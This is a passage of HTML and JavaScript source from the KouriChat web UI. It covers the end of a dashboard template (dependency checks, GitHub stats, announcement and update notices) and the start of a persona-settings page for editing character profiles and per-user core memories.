clearTimeout(timeout); func(...args); }; clearTimeout(timeout); timeout = setTimeout(later, wait); }; } // 添加检查状态标志 let isCheckingDependencies = false; function checkAndInstallDependencies() { if (isCheckingDependencies) { return; } isCheckingDependencies = true; const statusDiv = document.getElementById('dependencyStatus'); const statusText = document.getElementById('dependencyStatusText'); const spinnerDiv = statusDiv.querySelector('.spinner-border'); statusDiv.classList.remove('d-none', 'alert-danger', 'alert-success', 'alert-warning'); statusDiv.classList.add('alert-info'); statusText.textContent = '正在安装依赖,请耐心等待...'; spinnerDiv.classList.remove('d-none'); fetch('/install_dependencies', { method: 'POST', headers: { 'Content-Type': 'application/json' } }) .then(response => { if (!response.ok) { throw new Error('网络响应失败'); } return response.json(); }) .then(data => { const output = data.output || ''; const isSuccess = data.status === 'success' || output.toLowerCase().includes('already satisfied') || output.toLowerCase().includes('successfully installed'); if (isSuccess) { statusDiv.classList.remove('alert-info'); statusDiv.classList.add('alert-success'); spinnerDiv.classList.add('d-none'); statusText.innerHTML = '<i class="bi bi-check-circle-fill me-2"></i>依赖安装成功!'; // 延迟200ms后检查依赖 setTimeout(checkDependencies, 200); // 3秒后自动隐藏成功提示 setTimeout(() => { statusDiv.classList.add('d-none'); }, 3000); } else { throw new Error(output || '安装依赖失败'); } }) .catch(error => { statusDiv.classList.remove('alert-info'); statusDiv.classList.add('alert-danger'); spinnerDiv.classList.add('d-none'); statusText.innerHTML = `<i class="bi bi-x-circle-fill me-2"></i>错误: ${error.message}`; // 在日志区域显示错误 const logsElement = document.querySelector('.logs'); if (logsElement) { const logLine = document.createElement('div'); logLine.className = 'log-line'; logLine.innerHTML = `<span class="command-error">依赖安装失败: ${error.message}</span>`; logsElement.appendChild(logLine); scrollToBottom(); } }) .finally(() => { isCheckingDependencies = false; }); } // 检查依赖函数 function checkDependencies() { const statusDiv = document.getElementById('dependencyStatus'); const statusText = document.getElementById('dependencyStatusText'); const spinnerDiv = statusDiv.querySelector('.spinner-border'); statusDiv.classList.remove('d-none', 'alert-danger', 'alert-success', 'alert-warning'); statusDiv.classList.add('alert-info'); statusText.textContent = '正在检查依赖...'; spinnerDiv.classList.remove('d-none'); fetch('/check_dependencies') .then(response => response.json()) .then(data => { if (data.status === 'success') { updateDependencyStatus(data); // 修改这里:不再隐藏状态div,而是显示成功信息 statusDiv.classList.remove('alert-info'); statusDiv.classList.add('alert-success'); spinnerDiv.classList.add('d-none'); statusText.innerHTML = '<i class="bi bi-check-circle-fill me-2"></i>依赖检查完成!'; // 3秒后自动隐藏成功提示 setTimeout(() => { statusDiv.classList.add('d-none'); }, 3000); } else { throw new Error(data.message); } }) .catch(error => { statusDiv.classList.remove('alert-info'); statusDiv.classList.add('alert-danger'); spinnerDiv.classList.add('d-none'); statusText.innerHTML = `<i class="bi bi-x-circle-fill me-2"></i>错误: ${error.message}`; }); } // 更新依赖状态显示函数 function updateDependencyStatus(data) { const depsStatusEl = document.getElementById('depsStatus'); const missingDepsDiv = document.getElementById('missingDeps'); const missingDepsList = missingDepsDiv.querySelector('.missing-deps-list'); document.getElementById('pythonVersion').innerHTML = `<i class="bi bi-filetype-py me-1"></i>${data.python_version}`; document.getElementById('pipStatus').innerHTML = data.has_pip ? '<i class="bi bi-check-circle-fill text-success"></i> 已安装' : '<i class="bi bi-x-circle-fill text-danger"></i> 未安装'; document.getElementById('pipStatus').className = `badge ${data.has_pip ? 'bg-success' : 'bg-danger'}`; switch(data.dependencies_status) { case 'complete': depsStatusEl.innerHTML = '<i class="bi bi-check-circle-fill"></i> 已完成'; depsStatusEl.className = 'badge bg-success'; missingDepsDiv.classList.add('d-none'); break; case 'incomplete': depsStatusEl.innerHTML = '<i class="bi bi-exclamation-circle-fill"></i> 不完整'; depsStatusEl.className = 'badge bg-warning'; missingDepsDiv.classList.remove('d-none'); missingDepsList.innerHTML = data.missing_dependencies.map(dep => `<span class="badge bg-warning me-2 mb-2"><i class="bi bi-box me-1"></i>${dep}</span>` ).join(''); break; default: depsStatusEl.innerHTML = '<i class="bi bi-question-circle-fill"></i> 未知'; depsStatusEl.className = 'badge bg-secondary'; missingDepsDiv.classList.add('d-none'); } } // 页面加载时自动检查依赖 document.addEventListener('DOMContentLoaded', function() { checkDependencies(); }); // 更新 GitHub 统计信息 function updateGitHubStats() { const headers = { 'Accept': 'application/vnd.github.v3+json', 'User-Agent': 'KouriChat-WebUI' }; fetch('https://api.github.com/repos/KouriChat/KouriChat', { headers }) .then(response => response.json()) .then(data => { // 更新顶部统计信息 document.getElementById('githubStars').textContent = data.stargazers_count || '-'; document.getElementById('githubForks').textContent = data.forks_count || '-'; document.getElementById('githubIssues').textContent = data.open_issues_count || '-'; // 更新页脚统计信息 document.getElementById('footerGithubStars').textContent = data.stargazers_count || '-'; document.getElementById('footerGithubForks').textContent = data.forks_count || '-'; }) .catch(error => { console.error('获取 GitHub 统计信息失败:', error); // 在获取失败时显示破折号 ['githubStars', 'githubForks', 'githubIssues', 'footerGithubStars', 'footerGithubForks'].forEach(id => { document.getElementById(id).textContent = '-'; }); }); } // 页面加载时获取统计信息 document.addEventListener('DOMContentLoaded', function() { updateGitHubStats(); // 每30分钟更新一次统计信息 setInterval(updateGitHubStats, 1800000); }); // 手动显示公告功能 function showManualAnnouncement() { fetch('/get_announcement') .then(response => response.json()) .then(data => { if (data.enabled) { // 设置公告内容 const modalTitleElement = document.getElementById('announcementModalLabel'); modalTitleElement.textContent = data.title; modalTitleElement.classList.remove('fs-4'); modalTitleElement.classList.add('fw-bold', 'text-center', 'w-100', 'fs-3'); document.getElementById('announcementContent').innerHTML = data.content; // 移除样式 const modalHeader = document.querySelector('#announcementModal .modal-header'); modalHeader.classList.remove('bg-info', 'bg-warning', 'bg-danger', 'bg-success', 'text-white', 'text-dark'); modalHeader.style.backgroundColor = ''; // 绑定"不再显示"按钮事件 bindAnnouncementDismissHandler(data); // 显示公告模态框 const announcementModal = new bootstrap.Modal(document.getElementById('announcementModal')); announcementModal.show(); } else { showToast('当前没有可用的公告', 'info'); } }) .catch(error => { console.error("获取公告失败:", error); showToast('获取公告失败,请稍后重试', 'error'); }); } // 更新通知功能 function checkForUpdateNotification(forceCheck = false) { // 如果不是强制检查,则检查24小时限制(用于后台定时检查) if (!forceCheck) { const lastUpdateCheck = localStorage.getItem('lastBackgroundUpdateCheck'); const now = Date.now(); const checkInterval = 24 * 60 * 60 * 1000; // 24小时 if (lastUpdateCheck && (now - parseInt(lastUpdateCheck)) < checkInterval) { console.log('24小时内已进行过后台检查,跳过定时检查'); return; } // 更新后台检查时间 localStorage.setItem('lastBackgroundUpdateCheck', now.toString()); } console.log(forceCheck ? '强制检查更新(用户打开页面)' : '定时检查更新'); fetch('/check_update') .then(response => response.json()) .then(data => { if (data.status === 'success' && data.has_update) { // 检查是否已经忽略了这个版本 const dismissedVersion = localStorage.getItem('dismissedUpdateVersion'); const latestVersion = data.update_info?.cloud_version; if (dismissedVersion === latestVersion) { console.log('用户已忽略此版本更新:', latestVersion); return; } showUpdateNotification(data.update_info); } else { console.log('当前已是最新版本'); } }) .catch(error => { console.error('检查更新失败:', error); }); } function showUpdateNotification(updateInfo) { // 设置更新信息 document.getElementById('currentVersionText').textContent = updateInfo.local_version || '-'; document.getElementById('latestVersionText').textContent = updateInfo.cloud_version || '-'; document.getElementById('updateDescription').textContent = updateInfo.description || '暂无更新说明'; document.getElementById('updateTime').innerHTML = `<i class="bi bi-calendar me-1"></i>${updateInfo.last_update || '未知'}`; // 绑定按钮事件 const updateNowBtn = document.getElementById('updateNowBtn'); const updateLaterBtn = document.getElementById('updateLaterBtn'); // 移除之前的事件监听器 const newUpdateNowBtn = updateNowBtn.cloneNode(true); const newUpdateLaterBtn = updateLaterBtn.cloneNode(true); updateNowBtn.parentNode.replaceChild(newUpdateNowBtn, updateNowBtn); updateLaterBtn.parentNode.replaceChild(newUpdateLaterBtn, updateLaterBtn); // 立即更新按钮 newUpdateNowBtn.addEventListener('click', function() { // 关闭更新通知模态框 const updateModal = bootstrap.Modal.getInstance(document.getElementById('updateNotificationModal')); if (updateModal) { updateModal.hide(); } // 直接执行更新,不需要控制台确认 setTimeout(() => { executeUpdate(); }, 500); }); // 稍后更新按钮 newUpdateLaterBtn.addEventListener('click', function() { // 记录用户选择稍后更新,24小时内后台不再提醒 // 但用户主动打开页面时仍会检查 localStorage.setItem('lastBackgroundUpdateCheck', Date.now().toString()); // 可选:记录用户忽略的版本,避免同一版本重复提醒 const latestVersion = document.getElementById('latestVersionText').textContent; if (latestVersion && latestVersion !== '-') { localStorage.setItem('dismissedUpdateVersion', latestVersion); } }); // 显示更新通知模态框 const updateNotificationModal = new bootstrap.Modal(document.getElementById('updateNotificationModal')); updateNotificationModal.show(); } // 公告功能 if (shouldShowAnnouncement) { document.addEventListener('DOMContentLoaded', function() { // 直接获取公告并显示 fetch('/get_announcement') .then(response => response.json()) .then(data => { if (data.enabled) { // 设置公告内容 const modalTitleElement = document.getElementById('announcementModalLabel'); modalTitleElement.textContent = data.title; modalTitleElement.classList.remove('fs-4'); // 明确移除之前的 fs-4 modalTitleElement.classList.add('fw-bold', 'text-center', 'w-100', 'fs-3'); // 加粗、居中、占满宽度,并使用 fs-3 字体大小 document.getElementById('announcementContent').innerHTML = data.content; // 移除根据公告类型设置样式的代码 const modalHeader = document.querySelector('#announcementModal .modal-header'); modalHeader.classList.remove('bg-info', 'bg-warning', 'bg-danger', 'bg-success', 'text-white', 'text-dark'); modalHeader.style.backgroundColor = ''; // 绑定"不再显示"按钮事件 bindAnnouncementDismissHandler(data); // 强制显示公告模态框 const announcementModal = new bootstrap.Modal(document.getElementById('announcementModal')); announcementModal.show(); } }) .catch(error => console.error("获取公告失败:", error)); // 处理"我知道了"按钮点击事件 document.getElementById('announcementOkBtn').addEventListener('click', function() { // 无需特殊处理 }); }); } // 页面加载时恢复日志 document.addEventListener('DOMContentLoaded', function() { // 从localStorage中恢复日志 const savedLogs = JSON.parse(localStorage.getItem('botLogs') || '[]'); if (savedLogs.length > 0) { const logsElement = document.querySelector('.logs'); savedLogs.forEach(log => { const logLine = document.createElement('div'); logLine.className = 'log-line'; logLine.innerHTML = formatLogLine(log); logsElement.appendChild(logLine); }); // 滚动到底部 scrollToBottom(); } // 获取按钮引用 const startBtn = document.getElementById('startBotBtn'); const stopBtn = document.getElementById('stopBotBtn'); // 检查机器人状态 fetch('/get_bot_logs') .then(response => response.json()) .then(data => { if (data.status === 'success' && data.is_running) { document.getElementById('botStatus').innerHTML = '<span class="status-running">运行中</span>'; startBtn.disabled = true; stopBtn.disabled = false; startPollingLogs(); } else { document.getElementById('botStatus').innerHTML = '<span class="status-stopped">已停止</span>'; startBtn.disabled = false; stopBtn.disabled = true; } }); // 延迟3秒后检查更新通知(避免与公告冲突) // 用户打开页面时强制检查更新,不受24小时限制 setTimeout(() => { checkForUpdateNotification(true); // true表示强制检查 }, 3000); // 设置定时检查:每24小时检查一次更新(后台检查,受24小时限制) setInterval(() => { checkForUpdateNotification(false); // false表示后台定时检查 }, 24 * 60 * 60 * 1000); // 24小时 }); </script> </body> </html>
2302_81798979/KouriChat
src/webui/templates/dashboard.html
HTML
unknown
108,945
<!DOCTYPE html> <html lang="zh-CN"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>KouriChat - 角色设定</title> <link href="/static/css/bootstrap.min.css" rel="stylesheet"> <link href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.11.3/font/bootstrap-icons.min.css" rel="stylesheet"> <link rel="icon" type="image/x-icon" href="/static/mom.ico"> <script src="/static/js/bootstrap.bundle.min.js"></script> <script src="/static/js/dark-mode.js"></script> <style> :root { --primary-color: #6366f1; --secondary-color: #4f46e5; --background-color: #f8fafc; /* 统一背景颜色 */ --text-color: #1e293b; --card-bg: rgba(255, 255, 255, 0.8); /* 统一卡片背景 */ --card-border: rgba(255, 255, 255, 0.5); /* 统一卡片边框 */ --card-shadow: 0 4px 6px -1px rgba(0, 0, 0, 0.1), 0 2px 4px -1px rgba(0, 0, 0, 0.06); /* 统一卡片阴影 */ } [data-bs-theme="dark"] { --primary-color: #818cf8; --secondary-color: #6366f1; --background-color: #0f172a; /* 统一深色背景 */ --text-color: #e2e8f0; /* 浅色文字 */ --card-bg: rgba(30, 41, 59, 0.8); /* 统一深色卡片背景 */ --card-border: rgba(255, 255, 255, 0.1); /* 统一深色卡片边框 */ --card-shadow: 0 4px 6px -1px rgba(0, 0, 0, 0.2), 0 2px 4px -1px rgba(0, 0, 0, 0.1); /* 统一深色卡片阴影 */ } body { background: var(--background-color); color: var(--text-color); transition: all 0.3s ease; background-repeat: no-repeat; background-size: cover; background-position: center; background-attachment: fixed; min-height: 100vh; } .container { margin: auto; } .glass-panel { background: var(--card-bg); border-radius: 1rem; border: 1px solid var(--card-border); box-shadow: var(--card-shadow); padding: 2rem; margin-bottom: 2rem; transition: all 0.3s ease; } .form-label { margin-bottom: 0.5rem; font-weight: 500; color: var(--text-color); } .form-control { background: var(--card-bg); color: var(--text-color); border-color: var(--card-border); transition: all 0.3s ease; min-height: 100px; resize: vertical; overflow-y: hidden; } .form-control:focus { background: var(--card-bg); color: var(--text-color); border-color: var(--primary-color); box-shadow: 0 0 0 0.25rem rgba(99, 102, 241, 0.25); } .form-control::placeholder { color: var(--text-color); opacity: 0.65; } /* 暗色模式下的按钮样式 */ [data-bs-theme="dark"] .btn-primary { background-color: var(--primary-color); border-color: var(--primary-color); } [data-bs-theme="dark"] .btn-primary:hover { background-color: var(--secondary-color); border-color: var(--secondary-color); } /* 保存按钮样式 */ .btn-save { width: 100%; /* 占据100%宽度 */ padding: 0.75rem; /* 按钮内边距 */ margin-top: 1rem; /* 按钮上边距 */ background-color: var(--primary-color); /* 背景颜色 */ color: white; /* 字体颜色 */ border: none; /* 无边框 */ border-radius: 0.5rem; /* 圆角 */ transition: background-color 0.3s ease; /* 背景颜色过渡 */ } .btn-save:hover { background-color: var(--secondary-color); /* 悬停时的背景颜色 */ } /* 人设选择器样式 */ .avatar-selector { margin-bottom: 1.5rem; display: flex; align-items: center; gap: 1rem; background: var(--card-bg); border-radius: 0.5rem; padding: 1rem; border: 1px solid var(--card-border); flex-wrap: wrap; /* 允许在小屏幕上换行 */ } .avatar-selector select { flex-grow: 1; min-width: 200px; /* 确保下拉框有足够宽度 */ padding: 0.5rem 1rem; border-radius: 0.5rem; border: 1px solid var(--card-border); background: var(--card-bg); color: var(--text-color); transition: all 0.3s ease; font-size: 1rem; height: 42px; } .avatar-selector button { height: 42px; display: flex; align-items: center; justify-content: center; white-space: nowrap; } .avatar-selector select:focus { border-color: var(--primary-color); box-shadow: 0 0 0 0.25rem rgba(99, 102, 241, 0.25); outline: none; } .avatar-selector label { font-weight: 500; margin-bottom: 0; display: flex; align-items: center; white-space: nowrap; font-size: 1rem; } .avatar-selector label i { margin-right: 0.5rem; font-size: 1.2rem; } /* 添加加载动画 */ .loading { position: relative; } .loading::after { content: ''; position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: rgba(0, 0, 0, 0.2); backdrop-filter: blur(2px); display: flex; align-items: center; justify-content: center; z-index: 1000; border-radius: 1rem; } .loading::before { content: ''; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); width: 40px; height: 40px; border: 4px solid rgba(255, 255, 255, 0.3); border-radius: 50%; border-top-color: var(--primary-color); animation: spin 1s linear infinite; z-index: 1001; } @keyframes spin { to { transform: translate(-50%, -50%) rotate(360deg); } } /* 添加导航栏样式,与dashboard.html保持一致 */ .navbar { background: var(--card-bg) !important; -webkit-backdrop-filter: blur(10px); backdrop-filter: blur(10px); border-bottom: 1px solid var(--card-border); } /* 添加深色模式下的模态框样式 */ [data-bs-theme="dark"] .modal-content { background-color: #1a1f2e; color: #f8fafc; } [data-bs-theme="dark"] .modal-header, [data-bs-theme="dark"] .modal-footer { border-color: #2d3748; } [data-bs-theme="dark"] pre { background-color: #2d3748; color: #e2e8f0; border: 1px solid #4a5568; } /* 确保深色模式下的按钮有足够的对比度 */ [data-bs-theme="dark"] .btn-outline-secondary { color: #e2e8f0; border-color: #4a5568; } [data-bs-theme="dark"] .btn-outline-secondary:hover { background-color: #4a5568; color: #f8fafc; } /* 确保深色模式下的表单元素有足够的对比度 */ [data-bs-theme="dark"] .form-control::placeholder { color: #a0aec0; } </style> </head> <body> {% include 'navbar.html' %} <div class="container py-4"> <div class="glass-panel mb-4"> <h2>角色设定</h2> <!-- 添加用户选择器 --> <div class="alert alert-info mb-3"> <div class="d-flex align-items-center flex-wrap"> <div class="me-3 mb-2"> <i class="bi bi-person-circle me-2"></i>选择用户: </div> <div class="me-auto mb-2"> <select id="userSelector" class="form-select form-select-sm"> <!-- 这里的选项将通过JavaScript动态加载 --> </select> </div> <div class="mb-2"> <button type="button" class="btn btn-sm btn-outline-primary" id="refreshUsersBtn" title="刷新用户列表"> <i class="bi bi-arrow-clockwise"></i> 刷新用户列表 </button> </div> </div> <div class="small mt-1"> <i class="bi bi-info-circle me-1"></i>请选择要编辑记忆的特定用户。每个用户有独立的记忆存储。 </div> </div> <!-- 添加获取人设按钮 --> <div class="d-flex justify-content-end mb-3"> <button type="button" class="btn btn-lg btn-info" id="getAvatarBtn" title="获取人设"> <i class="bi bi-download me-2"></i>获取人设 </button> </div> <!-- 添加人设选择器 --> <div class="avatar-selector"> <label for="avatarSelector"><i class="bi bi-person-badge"></i>选择人设:</label> <select id="avatarSelector" class="form-select"> <!-- 这里的选项将通过JavaScript动态加载 --> </select> <button type="button" class="btn btn-outline-primary" id="newAvatarBtn" title="创建新人设"> <i class="bi bi-plus-circle"></i> 新建人设 </button> <button type="button" class="btn btn-outline-danger" id="deleteAvatarBtn" title="删除当前人设"> <i class="bi bi-trash"></i> 删除人设 </button> </div> <form id="avatarForm"> <div class="glass-panel mb-4"> <label for="task" class="form-label">任务</label> <textarea class="form-control" id="task" name="task" rows="5" placeholder="请输入任务描述" title="任务描述" aria-label="任务描述"></textarea> </div> <div class="glass-panel mb-4"> <label for="role" class="form-label">角色</label> <textarea class="form-control" id="role" name="role" rows="5" placeholder="请输入角色设定" title="角色设定" aria-label="角色设定"></textarea> </div> <div class="glass-panel mb-4"> <label for="appearance" class="form-label">外表</label> <textarea class="form-control" id="appearance" name="appearance" rows="5" placeholder="请输入外表描述" title="外表描述" aria-label="外表描述"></textarea> </div> <div class="glass-panel mb-4"> <label for="experience" class="form-label">经历</label> <textarea class="form-control" id="experience" name="experience" rows="5" placeholder="请输入经历描述" title="经历描述" aria-label="经历描述"></textarea> </div> <div class="glass-panel mb-4"> <label for="personality" class="form-label">性格</label> <textarea class="form-control" id="personality" name="personality" rows="5" placeholder="请输入性格描述" title="性格描述" aria-label="性格描述"></textarea> </div> <div class="glass-panel mb-4"> <label for="classic_lines" class="form-label">经典台词</label> <textarea class="form-control" id="classic_lines" name="classic_lines" rows="5" placeholder="请输入经典台词" title="经典台词" aria-label="经典台词"></textarea> </div> <div class="glass-panel mb-4"> <label for="preferences" class="form-label">喜好</label> <textarea class="form-control" id="preferences" name="preferences" rows="5" placeholder="请输入喜好描述" title="喜好描述" aria-label="喜好描述"></textarea> </div> <div class="glass-panel mb-4"> <label for="notes" class="form-label">备注</label> <textarea class="form-control" id="notes" name="notes" rows="5" placeholder="请输入备注信息" title="备注信息" aria-label="备注信息"></textarea> </div> <button type="button" class="btn btn-save" id="saveButton" title="保存角色设定"> <i class="bi bi-save me-2"></i>保存 </button> </form> </div> </div> <!-- 新建人设模态框 --> <div class="modal fade" id="newAvatarModal" tabindex="-1" aria-labelledby="newAvatarModalLabel" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title" id="newAvatarModalLabel">新建人设</h5> <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button> </div> <div class="modal-body"> <div class="mb-3"> <label for="newAvatarName" class="form-label">人设名称</label> <input type="text" class="form-control" id="newAvatarName" placeholder="请输入人设名称(英文)" required> <small class="text-muted">请使用英文字母、数字和下划线,例如:ATRI、Mono_Chan</small> </div> </div> <div class="modal-footer"> <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">取消</button> <button type="button" class="btn btn-primary" id="createAvatarBtn">创建</button> </div> </div> </div> </div> <!-- 添加删除确认模态框 --> <div class="modal fade" id="deleteAvatarModal" tabindex="-1" aria-labelledby="deleteAvatarModalLabel" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title" id="deleteAvatarModalLabel">删除人设</h5> <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button> </div> <div class="modal-body"> 确定要删除这个人设吗?此操作不可恢复。 </div> <div class="modal-footer"> <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">取消</button> <button type="button" class="btn btn-danger" id="confirmDeleteBtn">删除</button> </div> </div> </div> </div> <!-- 获取人设模态框 --> <div class="modal fade" id="getAvatarModal" tabindex="-1" aria-labelledby="getAvatarModalLabel" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title" id="getAvatarModalLabel">获取人设</h5> <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button> </div> <div class="modal-body"> <p>请选择获取人设的方式:</p> <div class="d-grid gap-2"> <a href="https://avatars.kourichat.com/#/" class="btn btn-primary" target="_blank"> 前往官网下载 </a> <a href="https://jq.qq.com/?_wv=1027&k=5F4Gz5K" class="btn btn-secondary" target="_blank"> 加入QQ群 715616260 下载 </a> </div> </div> </div> </div> </div> <script> document.addEventListener('DOMContentLoaded', function() { // 当前选中的人设目录 let currentAvatar = 'MONO'; // 当前选中的用户ID let currentUser = 'default'; let rawContent = ''; // 存储原始内容 // 初始化背景 fetch('/get_background') .then(response => response.json()) .then(data => { if (data.status === 'success' && data.path) { document.body.style.backgroundImage = `url('${data.path}')`; } }) .catch(error => console.error('Error:', error)); // 获取可用的人设列表 function loadAvatarList() { fetch('/get_available_avatars') .then(response => response.json()) .then(data => { if (data.status === 'success') { const selector = document.getElementById('avatarSelector'); selector.innerHTML = ''; // 清空现有选项 // 添加人设选项 data.avatars.forEach(avatar => { const option = document.createElement('option'); // 从路径中提取人设名称 const avatarName = avatar.split('/').pop(); option.value = avatarName; option.textContent = avatarName; selector.appendChild(option); }); // 设置默认选中项 if (data.avatars.length > 0) { // 尝试从localStorage获取上次选择的人设 const lastSelected = localStorage.getItem('lastSelectedAvatar'); if (lastSelected && data.avatars.some(a => a.includes(lastSelected))) { selector.value = lastSelected; currentAvatar = lastSelected; } else { // 默认选择第一个 const firstAvatar = data.avatars[0].split('/').pop(); selector.value = firstAvatar; currentAvatar = firstAvatar; } // 加载选中人设的内容 loadAvatarContent(currentAvatar); // 加载用户列表 loadUserList(currentAvatar); } } else { console.error('加载人设列表失败:', data.message); showToast('加载人设列表失败: ' + data.message, 'error'); } }) .catch(error => { console.error('加载人设列表失败:', error); showToast('加载人设列表失败: ' + error, 'error'); }); } // 获取当前角色的用户列表 function loadUserList(avatarName) { fetch(`/get_avatar_users?avatar=${avatarName}`) .then(response => response.json()) .then(data => { if (data.status === 'success') { const selector = document.getElementById('userSelector'); selector.innerHTML = ''; // 清空现有选项 // 添加用户选项 data.users.forEach(user => { const option = document.createElement('option'); option.value = user; option.textContent = user; selector.appendChild(option); }); // 设置默认选中项 if (data.users.length > 0) { // 尝试从localStorage获取上次选择的用户 const lastSelectedUser = localStorage.getItem(`lastSelectedUser_${avatarName}`); if (lastSelectedUser && data.users.includes(lastSelectedUser)) { selector.value = lastSelectedUser; currentUser = lastSelectedUser; } else { // 默认选择第一个 selector.value = data.users[0]; currentUser = data.users[0]; } // 保存当前选择 localStorage.setItem(`lastSelectedUser_${avatarName}`, currentUser); } } else { console.error('加载用户列表失败:', data.message); showToast('加载用户列表失败: ' + data.message, 'error'); } }) .catch(error => { console.error('加载用户列表失败:', error); showToast('加载用户列表失败: ' + error, 'error'); }); } // 加载指定人设的内容 function loadAvatarContent(avatarName) { fetch(`/load_avatar_content?avatar=${avatarName}`) .then(response => response.json()) .then(data => { if (data.status === 'success') { // 保存原始内容 rawContent = data.raw_content || ''; // 更新所有文本框的内容 const fields = ['task', 'role', 'appearance', 'experience', 'personality', 'classic_lines', 'preferences', 'notes']; fields.forEach(field => { const element = document.getElementById(field); if (element) { element.value = data.content[field] || ''; // 自动调整文本框高度以适应内容 element.style.height = 'auto'; element.style.height = (element.scrollHeight) + 'px'; } }); // 保存当前选择的人设到localStorage localStorage.setItem('lastSelectedAvatar', avatarName); currentAvatar = avatarName; // 显示加载成功提示 showToast(`已加载 ${avatarName} 的角色设定`, 'success'); // 加载用户列表 loadUserList(currentAvatar); } else { console.error('加载人设内容失败:', data.message); showToast('加载人设内容失败: ' + data.message, 'error'); } }) .catch(error => { console.error('加载人设内容失败:', error); showToast('加载人设内容失败: ' + error, 'error'); }); } // 修改查看原始人设内容的功能 function addViewRawButton() { // 在人设选择器旁添加一个按钮 const selector = document.querySelector('.avatar-selector'); const viewRawBtn = document.createElement('button'); viewRawBtn.className = 'btn btn-outline-secondary'; viewRawBtn.innerHTML = '<i class="bi bi-markdown"></i> 原始人设内容'; viewRawBtn.title = '查看原始Markdown内容'; viewRawBtn.addEventListener('click', function() { // 创建模态框 const modalDiv = document.createElement('div'); modalDiv.className = 'modal fade'; modalDiv.id = 'rawContentModal'; modalDiv.tabIndex = '-1'; modalDiv.setAttribute('aria-labelledby', 'rawContentModalLabel'); modalDiv.setAttribute('aria-hidden', 'true'); modalDiv.innerHTML = ` <div class="modal-dialog modal-lg"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title" id="rawContentModalLabel">${currentAvatar} - 原始Markdown内容</h5> <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button> </div> <div class="modal-body"> <div class="mb-3"> <div class="d-flex justify-content-end mb-2"> <button type="button" class="btn btn-sm btn-outline-secondary me-2" id="copyMdBtn"> <i class="bi bi-clipboard"></i> 复制 </button> <button type="button" class="btn btn-sm btn-outline-danger" id="clearMdBtn"> <i class="bi bi-trash"></i> 清空 </button> </div> <textarea class="form-control" id="rawMdContent" rows="15" style="min-height: 400px; max-height: 60vh; resize: vertical; overflow-y: auto; font-family: monospace;" >${rawContent}</textarea> </div> </div> <div class="modal-footer"> <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">取消</button> <button type="button" class="btn btn-primary" id="saveMdBtn">保存修改</button> </div> </div> </div> `; document.body.appendChild(modalDiv); // 显示模态框 const modal = new bootstrap.Modal(modalDiv); modal.show(); // 复制按钮功能 document.getElementById('copyMdBtn').addEventListener('click', function() { const textarea = document.getElementById('rawMdContent'); textarea.select(); document.execCommand('copy'); showToast('内容已复制到剪贴板', 'success'); }); // 清空按钮功能 document.getElementById('clearMdBtn').addEventListener('click', function() { if(confirm('确定要清空所有内容吗?此操作不可恢复。')) { document.getElementById('rawMdContent').value = ''; showToast('内容已清空', 'success'); } }); // 保存修改按钮功能 document.getElementById('saveMdBtn').addEventListener('click', function() { const newContent = document.getElementById('rawMdContent').value; const avatarData = { avatar: currentAvatar, content: newContent }; fetch('/save_avatar_raw', { method: 'POST', headers: { 'Content-Type': 'application/json', }, body: JSON.stringify(avatarData) }) .then(response => response.json()) .then(data => { if (data.status === 'success') { showToast('修改已保存', 'success'); modal.hide(); // 重新加载内容 loadAvatarContent(currentAvatar); } else { showToast('保存失败: ' + data.message, 'error'); } }) .catch(error => { showToast('保存失败: ' + error, 'error'); }); }); // 模态框关闭后移除DOM modalDiv.addEventListener('hidden.bs.modal', function() { document.body.removeChild(modalDiv); }); }); // 添加编辑核心记忆按钮 const editCoreMemoryBtn = document.createElement('button'); editCoreMemoryBtn.className = 'btn btn-outline-secondary'; editCoreMemoryBtn.innerHTML = '<i class="bi bi-database-fill"></i> 编辑核心记忆'; editCoreMemoryBtn.title = '编辑角色的核心记忆'; editCoreMemoryBtn.addEventListener('click', function() { // 获取当前选中的角色名称和用户ID const currentAvatar = document.getElementById('avatarSelector').value; const currentUser = document.getElementById('userSelector').value; // 加载核心记忆内容 fetch(`/load_core_memory?avatar=${currentAvatar}&user_id=${currentUser}`) .then(response => response.json()) .then(data => { if (data.status === 'success') { // 创建一个模态框来编辑核心记忆 const modalHTML = ` <div class="modal fade" id="coreMemoryModal" tabindex="-1" aria-labelledby="coreMemoryModalLabel" aria-hidden="true"> <div class="modal-dialog modal-lg"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title" id="coreMemoryModalLabel">${currentAvatar} - 用户 ${currentUser} 的核心记忆编辑</h5> <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button> </div> <div class="modal-body"> <div class="mb-3"> <label for="coreMemoryContent" class="form-label">核心记忆内容</label> <div class="alert alert-info mb-2"> <i class="bi bi-info-circle-fill"></i> 核心记忆包含角色对用户的长期印象和关键信息,会在每次对话中被使用。您可以在这里编辑角色记住的重要内容。 </div> <textarea class="form-control" id="coreMemoryContent" rows="8" style="min-height: 200px; max-height: 50vh; resize: vertical; overflow-y: auto;">${data.content || ''}</textarea> </div> </div> <div class="modal-footer"> <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">取消</button> <button type="button" class="btn btn-danger" id="clearCoreMemoryBtn">清空核心记忆</button> <button type="button" class="btn btn-primary" id="saveCoreMemoryBtn">保存</button> </div> </div> </div> </div> `; // 添加模态框到body document.body.insertAdjacentHTML('beforeend', modalHTML); // 显示模态框 const modal = new bootstrap.Modal(document.getElementById('coreMemoryModal')); modal.show(); // 保存按钮点击事件 document.getElementById('saveCoreMemoryBtn').addEventListener('click', function() { const memoryContent = document.getElementById('coreMemoryContent').value; // 